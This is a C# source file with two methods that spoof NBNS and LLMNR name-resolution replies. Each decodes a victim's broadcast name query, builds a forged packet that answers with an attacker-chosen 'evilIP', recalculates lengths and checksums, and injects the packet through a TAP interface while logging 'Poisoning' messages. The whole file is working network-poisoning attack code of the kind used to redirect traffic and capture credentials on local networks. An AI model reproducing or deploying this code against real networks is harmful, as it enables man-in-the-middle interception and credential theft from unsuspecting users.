/// <summary>
/// NBNS spoof, responds with an answer to a question but with EvilIP as the address
/// </summary>
/// <param name="inPacket"></param>
public static void doNbnsSpoof(byte[] inPacket)
{
// read the query name, 32 bytes from questionstart
String nameString = "";
int nameLength = 0;
byte[] bufTest = EtherField.GetField(inPacket, EtherField.NBNSQuestionStart);
for (int i = 0; i < 32; i += 2)
{
// decode the name
int nibbleUpper = bufTest[i + 1] - 0x41;
int nibbleLower = bufTest[i + 2] - 0x41;
nameString += Convert.ToChar(nibbleUpper << 4 | nibbleLower);
nameLength = i;
}
byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac);
byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac);
byte[] transId = EtherField.GetField(inPacket, EtherField.NBNSTransId);
byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc);
Console.WriteLine("> Poisoning NBNS response for " + nameString + " for client: " + PrettyIp(dstIP));
// construct our data, ether frame -> IP -> udp -> nbns
List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac);
responsePacket.AddRange(GetIPPacket(dstIP));
responsePacket.AddRange(GetUDPHeader(137, 137));
//now add the NBNS response
//transction id
responsePacket.Add(transId[0]);
responsePacket.Add(transId[1]);
//flags
responsePacket.Add((byte)0x85);
responsePacket.Add((byte)0x00);
//questions
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
//answers
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x01);
//auth rr
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
//additional rr
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
//original query name
byte[] originalName = EtherField.GetField(buf, EtherField.NBNSQuestionStart);
foreach (byte b in originalName)
{
responsePacket.Add(b);
}
responsePacket.Add(0x00);
//original type
responsePacket.Add(inPacket[88]);
responsePacket.Add(inPacket[89]);
// class
responsePacket.Add(inPacket[90]);
responsePacket.Add(inPacket[91]);
//ttl
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0xe0);
//data length
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x06);
//flags bnode?
responsePacket.Add((byte)0x00);
responsePacket.Add((byte)0x00);
// evil response address
foreach (String c in evilIP.Split('.'))
{
int v = Convert.ToInt32(c);
byte b = Convert.ToByte(v);
responsePacket.Add(b);
}
//update the IP length field (16 and 17)
int len = responsePacket.Count - 14;
byte lenUpper = (byte)(len >> 8);
byte lenLower = (byte)len;
responsePacket[16] = lenUpper;
responsePacket[17] = lenLower;
//and udp..
len = responsePacket.Count - 34;
lenUpper = (byte)(len >> 8);
lenLower = (byte)len;
responsePacket[38] = lenUpper;
responsePacket[39] = lenLower;
//update checksum
responsePacket = UpdateIPChecksum(responsePacket);
IAsyncResult res2;
WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset);
AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback);
object state2 = new int();
res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2);
WaitObject2.WaitOne();
}
/// <summary>
/// Spoof an llmnr response, sends back a forged packet aimed at the sender with the
/// EvilIP as the response
/// </summary>
/// <param name="inPacket"></param>
public static void doLLMNRSpoof(byte[] inPacket)
{
int nameLen = EtherField.GetField(inPacket, EtherField.LLMNRNameLength)[0];
String name = System.Text.Encoding.Default.GetString(buf.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray());
byte[] srcMac = EtherField.GetField(inPacket, EtherField.SrcMac);
byte[] dstMac = EtherField.GetField(inPacket, EtherField.DstMac);
byte[] dstIP = EtherField.GetField(inPacket, EtherField.IPSrc);
byte[] srcPort = EtherField.GetField(inPacket, EtherField.UDPSrcPort);
int srcPortInt = ((int)srcPort[0] << 8) | (int)srcPort[1];
Console.WriteLine("> Poisoning LLMNR request for " + name + " from IP: " + PrettyIp(dstIP));
List <byte> responsePacket = GetEthernetFrame(srcMac, dstMac);
responsePacket.AddRange(GetIPPacket(dstIP));
responsePacket.AddRange(GetUDPHeader(5355, srcPortInt));
responsePacket.AddRange(EtherField.GetField(inPacket, EtherField.LLMNRTransId)); //tid
responsePacket.AddRange(new byte[] { 0x80, 0x00 }); //flags
// q |rr |auth | otherrr
responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 });
//add original query here
byte[] originalQuery = inPacket.Skip(54).Take(nameLen + 2 + 2 + 2).ToArray();
responsePacket.AddRange(originalQuery);
//answers
responsePacket.Add((byte)name.Length);
responsePacket.AddRange(inPacket.Skip(EtherField.LLMNRNameBytes.offset).Take(nameLen).ToArray());
responsePacket.Add(0x00);
//answer types (A record, Hostname)
responsePacket.AddRange(new byte[] { 0x00, 0x01, 0x00, 0x01 });
//ttl
responsePacket.AddRange(new byte[] { 0x00, 0x00, 0x00, 0x1e });
//data
responsePacket.AddRange(new byte[] { 0x00, 0x04 });
// fake address
foreach (String c in evilIP.Split('.'))
{
int v = Convert.ToInt32(c);
byte b = Convert.ToByte(v);
responsePacket.Add(b);
}
//update the IP length field (16 and 17)
int len = responsePacket.Count - 14;
byte lenUpper = (byte)(len >> 8);
byte lenLower = (byte)len;
responsePacket[16] = lenUpper;
responsePacket[17] = lenLower;
//and udp..
len = responsePacket.Count - 34;
lenUpper = (byte)(len >> 8);
lenLower = (byte)len;
responsePacket[38] = lenUpper;
responsePacket[39] = lenLower;
// update the IP checksum so windows doesnt drop the packet
responsePacket = UpdateIPChecksum(responsePacket);
// send it!
IAsyncResult res2;
WaitObject2 = new EventWaitHandle(false, EventResetMode.AutoReset);
AsyncCallback writeCallback = new AsyncCallback(WriteDataCallback);
object state2 = new int();
res2 = Tap.BeginWrite(responsePacket.ToArray(), 0, responsePacket.Count, writeCallback, state2);
WaitObject2.WaitOne();
}